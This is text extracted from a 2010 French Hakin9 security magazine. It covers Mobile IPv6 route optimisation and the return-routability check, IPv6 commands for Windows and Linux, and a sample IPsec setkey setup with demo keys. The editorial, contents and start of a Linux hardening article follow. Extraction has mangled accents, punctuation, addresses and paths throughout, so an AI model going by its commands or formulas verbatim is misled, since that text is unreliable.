Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 2: hakin9_05_2010_FR

3 HAKIN9 32010

Seacutecuriteacute sous Linux Dans ce numeacutero 52010 nous avons deacutecideacute de deacutedier notre dossier agrave la seacutecuriteacute de votre machine Linux A travers lrsquoarticle de Nicolas Hanteville Regravegles de seacutecurisation sous Linux vous allez apprendre quelques regravegles de base et les bons reacuteflexes pour seacutecuriser efficacement votre machine Cet article aborde eacutegalement la probleacutematique de seacutecurisation des services reacuteseaux des sauvegardes et et de la virtualisation

Les failles web permettent des actions de plus en plus importantes de la part des pirates informatiques Pour vous en proteacuteger consultez lrsquoarticle sur la seacutecuriteacute des applications WEB Lrsquoarticle de Reacutegis Senet vous preacutesentera Samurai WTF logiciel speacutecialiseacute dans les tests de peacuteneacutetration sur les applications web

Toujours dans la theacutematique de la seacutecuriteacute reacuteseaux nous vous recommandons la lecture de lrsquoarticle Le Projet Meacutetasploit un projet Open Source deacutedieacute aux pen-testeurs et aux chercheurs en seacutecuriteacute des systegravemes drsquoinformations

Bonne lecture

Lrsquoeacutequipe Hakin9

EacuteDITORIAL

Le mensuel hakin9 est publieacute par Software Press Sp z o o SK

Preacutesident de Software Press Sp z o o SK Paweł Marciniak Directrice de la publication Ewa LozowickaRedacteur en chef Aneta Mazuranetamazurhakin9orgFabrication Andrzej Kucaandrzejkucasoftwarecompl

DTP Przemysław BanasiewiczCouverture Agnieszka Marchocka

Publiciteacute publicitesoftwarecompl(c) 2009 Software Press Sp z o o SK tous les droits reacuteserveacutes

Beacuteta-testeurs Didier Sicchia Pierre Louvet Anthony Marchetti Reacutegis Senet Paul Amar Julien Smyczynski Gregory Vernon Latorre Christophe Timoteacutee Neullas

Les personnes inteacuteresseacutees par la coopeacuteration sont inviteacutees agrave nous contacter frhakin9org

Adresse de correspondance Software Press Sp z o o SKBokserska 1 02-682 Varsovie PologneTeacutel +48 22 427 32 87 Fax +48 22 244 24 59wwwhakin9org

AVERTISSEMENTLes techniques preacutesenteacutees dans les articles ne peuvent ecirctre utiliseacutees qursquoau sein des reacuteseaux internes

La reacutedaction du magazine nrsquoest pas responsable de lrsquoutilisation incorrecte des techniques preacutesenteacutees

Lrsquoutilisation des techniques preacutesenteacutees peut provoquer la perte des donneacutees

TABLE DES MATIERES

DossierRegravegles de seacutecurisation sous Linux 6Nicolas HantevilleCet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation il y aura question de regravegles de seacutecurisa-tion agrave mettre en place afin drsquoobtenir un niveau de seacutec-uriteacute convenable

AttAqueRapport drsquoanalyse drsquoune attaque par spear-phishing 14Adam Pridgen Matthew WollenweberLe spear-Phishing est un phishing cibleacute lrsquoattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

FoCusLe Projet Meacutetasploit 22Alexandre LacanParmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le pro-jet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche lrsquoeacutecriture et lrsquoexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit ex-press le nouveau logiciel de rapid7

52010

52010

PrAtiqueSamurai- proteacutegez vos applications Web 30Reacutegis SenetLa seacutecuriteacute des sites internet est aujourdrsquohui lrsquoun des aspects de la seacutecuriteacute le le plus souvent neacutegligeacute Les failles web permettent des actions de plus en plus im-portantes de la part des pirates informatiques samurai ou plus preacuteciseacutement samurai Web testing Framework ou encore samurai WtF est donc un LiveCD speacutecialiseacute dans les tests de peacuteneacutetration sur les applications web il a pour objectif de devenir LA plateforme de reacutefeacuterence en qualiteacute de peacuteneacutetration des applications web devant le tregraves complet Backtrack

Meacutecanismes IPV6 avanceacutes 40Freacutedeacuteric RoudautDepuis les anneacutees 80 lrsquointernet connaicirct un succegraves incroyable La majeure partie des entreprises y est ma-intenant directement connecteacutee le nombre de particu-liers deacutetenteurs drsquoun abonnement internet aupregravesdrsquoun FAi (Fournisseur drsquoAccegraves internet) est en croissance constante

52010

dossier

Dans le preacutesent article il y aura question de regravegles de seacutecurisation sous Linux Nous allons aborder la probleacutematique de seacutecu-

risation des services reacuteseaux en passant par les sauvegardes et la virtualisation Commenccedilons par quelques regravegles de base Afin dobtenir un bon ni-veau de seacutecuriteacute sur un systegraveme dexploitation il est tregraves important que certaines regravegles de base soient respecteacutees

bull Mes mots de passe doivent toujours ecirctre forts deacute-dieacutes au systegraveme et ecirctre changeacutes reacuteguliegraverement

bull Je ninstalle que les composants valideacutes essentiels au bon fonctionnement du systegraveme

bull Je seacutecurise les applications que jinstallebull Je mets agrave jour mon systegraveme et mes applications reacute-

guliegraverementbull Jutilise un pare-feu configureacute en se limitant aux flux

utilesbull Jinstalle un antivirus que je mets reacuteguliegraverement agrave

jour

La seacutequence de deacutemarrage appeleacutee vulgairement seacute-quence de BOOT est composeacutee en plusieurs eacutetapes

bull Le deacutemarrage via le BIOS (Chargement primaire) Le Basic Input Output System (systegraveme eacuteleacutementai-re dentreacuteesortie) est un micro-logiciel qui permet

